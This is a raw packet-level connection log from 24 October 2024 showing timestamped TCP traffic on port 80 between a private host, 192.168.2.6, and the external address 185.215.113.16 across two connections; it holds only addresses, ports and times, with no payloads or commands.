Oct 24, 2024 04:58:12.303653002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.303667068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.303683043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.303687096 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.303719044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.303719044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.304243088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.304255962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.304270029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.304303885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.304336071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.350121021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.350147009 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.350168943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.350179911 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.350179911 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.350183964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.350199938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.350208044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.350234032 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.350234032 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.350275993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.350337029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.350353003 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.350379944 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.350408077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.358333111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358354092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358369112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358382940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358392000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.358397961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358412981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358427048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358432055 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.358439922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358453035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.358478069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.358594894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358627081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.358758926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380228043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380242109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380260944 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380275011 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380281925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380307913 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380319118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380319118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380336046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380347967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380371094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380513906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380530119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380543947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380558014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380564928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380594969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380625010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380902052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380917072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380932093 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380948067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380953074 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380963087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.380974054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.380974054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.381011009 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.381011009 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.381524086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.381537914 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.381563902 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.381578922 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.381578922 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.381611109 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.390237093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.390258074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.390463114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.419472933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.419501066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.419517994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.419547081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.419559956 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.419589996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.419589996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.419589996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.419589996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.419589996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.419681072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.419747114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.419759035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.419817924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.419817924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.419817924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.420245886 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420269012 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420281887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420319080 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.420319080 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.420319080 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.420367956 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420408010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.420422077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420433998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420469999 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.420469999 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.420711994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420734882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420751095 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420794964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.420804024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420819998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.420851946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.420887947 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.421416044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.421430111 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.421442986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.421456099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.421464920 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.421499014 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.421515942 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.433923960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.433938026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.434000015 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.467309952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.467341900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.467355967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.467376947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.467391968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.467397928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.467406034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.467448950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.467448950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.467746019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.467760086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.467776060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.467792988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.467824936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.467825890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.477585077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.477615118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.477637053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.477653027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.477667093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.477679968 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.477715969 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.477750063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.477788925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.477804899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.477818966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.477854013 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.497631073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.497657061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.497669935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.497684956 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.497709990 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.497710943 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.497756958 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.497812033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.497823954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.497838020 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.497852087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.497854948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.497893095 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.497894049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.497894049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.498209000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.498229980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.498245955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.498260021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.498269081 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.498270035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.498274088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.498297930 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.498298883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.498328924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.498718977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.498732090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.498747110 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.498780012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.498809099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.509556055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.509568930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.509582043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.509596109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.509618998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.509644985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.536500931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.536515951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.536530972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.536581993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.536581993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.536626101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.536648035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.536663055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.536675930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.536691904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.536705017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.536705017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.536770105 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.537558079 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.537601948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.537621975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.537657022 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.537662029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.537694931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.537724972 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.537729979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.537750006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.537767887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.537777901 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.537803888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.537822962 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.537847042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.537903070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.537933111 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.537986040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538022041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538058043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538075924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538093090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538109064 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538141012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538316965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538366079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538367987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538403034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538419008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538436890 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538455963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538486958 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538500071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538539886 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538846970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538877010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.538907051 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.538942099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.584680080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.584727049 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.584764957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.584769011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.584769011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.584825993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.584857941 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.584892988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.584892988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.584914923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.584930897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.584949970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.584969044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.584990978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.585047007 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.585057974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.585078955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.585105896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.585113049 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.585128069 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.585150957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.585165977 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.585208893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.596811056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.596991062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597021103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597042084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.597054958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597090960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597105026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.597126961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597171068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.597201109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597251892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597295046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.597356081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597390890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597423077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.597433090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.614980936 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615036011 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615046024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615072012 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615092993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615107059 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615117073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615140915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615156889 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615176916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615190983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615212917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615226030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615248919 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615268946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615370989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615474939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615509033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615547895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615554094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615554094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615597010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615705013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615739107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615761042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615773916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615782976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615808964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.615832090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.615853071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.616034985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.616065979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.616091967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.616127014 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.628808975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.628839970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.628866911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.628891945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.628927946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.629019022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.629028082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.629056931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.629064083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.653700113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.653753996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.653757095 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.653789043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.653822899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.653837919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.653837919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.653860092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.653892994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.653907061 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.653934002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.654005051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654033899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654053926 CEST	49996	80	192.168.2.6	185.215.113.16
